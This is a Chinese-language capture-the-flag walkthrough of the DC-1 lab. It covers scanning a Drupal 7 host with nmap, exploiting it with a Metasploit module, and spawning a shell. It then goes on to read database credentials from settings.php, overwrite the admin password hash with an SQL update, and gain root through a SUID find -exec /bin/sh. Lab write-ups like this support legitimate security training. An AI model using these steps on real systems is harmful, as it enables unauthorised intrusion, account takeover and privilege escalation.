nmap主机发现
Nmap 端口扫描,发现22 80 111端口开放,Apache/2.2.22 (Debian) cms为Drupal 7 OS为Linux
访问网址,查看源代码无重要信息
Dirb目录扫描发现一些目录但是无权访问,而且目录项很多,尝试bp爆破无果,尝试用msf从CMS入手
msfconsole
search Drupal 7
选择第二个
1 use 2
2 show missing 查看必须设置的选项
3 set rhosts
4 set lhost(第一次msf需要设置)
5 set lport(第一次msf需要设置)
6 show options 查看参数配置情况
确定设置的信息没问题
输入run开始执行攻击,成功
ls可以看到第一个flag1.txt
输入命令:python -c "import pty;pty.spawn('/bin/bash')" 用python建立交互shell伪终端
直接访问/root提示无权限
考虑 sudo -l、 history 、linux内核漏洞提权、敏感文件
服务器信息:Linux DC-1 3.2.0-6-486 #1 Debian 3.2.102-1 i686 GNU/Linux
第一个flag提示:有一个config file,所以考虑flag在durpal配置文件中,百度后直接cat settings.php或者通过grep关键字查找 grep -Rn "flag2" *
grep -Rn "flag2" *
flag2提示要通过认证,但是暴力破解不是唯一的方法。配置文件flag2的下面就是数据库配置,考虑通过进入数据库查看账号密码。
username=dbuser, password=R0ck3t 尝试连接mysql数据库
查看一下数据表
show databases;
· 1.
使用数据表
use drupaldb;
· 1.
查看表的数据
show tables;
· 1.
注意到表里的users
使用命令查看一下
select * from users \G;
pass=$S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR,对hash值进行破解然后想办法替换,考虑可能提供了相关工具或脚本,尝试搜索 find / -name “*hash”
php scripts/password-hash.sh admin,注意scripts/password-hash.sh为相对路径 admin为想设置的明文密码
$S$D08ofgINFSRux8tsNQ/9V5gU9esFd2MQnDnVH9DLNvD7hx5B9/Jd为加密后的admin,现在要将这个结果写入mysql的数据库中
update users set pass="$S$D08ofgINFSRux8tsNQ/9V5gU9esFd2MQnDnVH9DLNvD7hx5B9/Jd" where name="admin";
更新后登录web页面成功,考虑文件上传漏洞还有wfuzz 以及直接用这个用户ssh登录尝试(发现/etc/passwd中无admin用户,该方法此处不考虑)
逐个点击查看,发现flag3
*通过find提权*
特殊的PERM将帮助查找密码-但您需要-exec执行该命令才能找出如何获取阴影中的内容。
Find / -perm -400 2>/dev/null (从根目录开始递归地搜索所有只对文件所有者具有读权限,并且对其他用户没有任何权限的文件。)
find ./ aaa -exec "/bin/sh" \; 在当前目录(. 表示当前目录)及其子目录下查找名为 "aaa" 的文件或目录,并对每个找到的匹配项执行 /bin/sh 命令。 注意我测试时在这里换成"/bin/bash"好像没生效
每个靶场可能有多种思路,其他的解题思路也可以参考下面这篇文章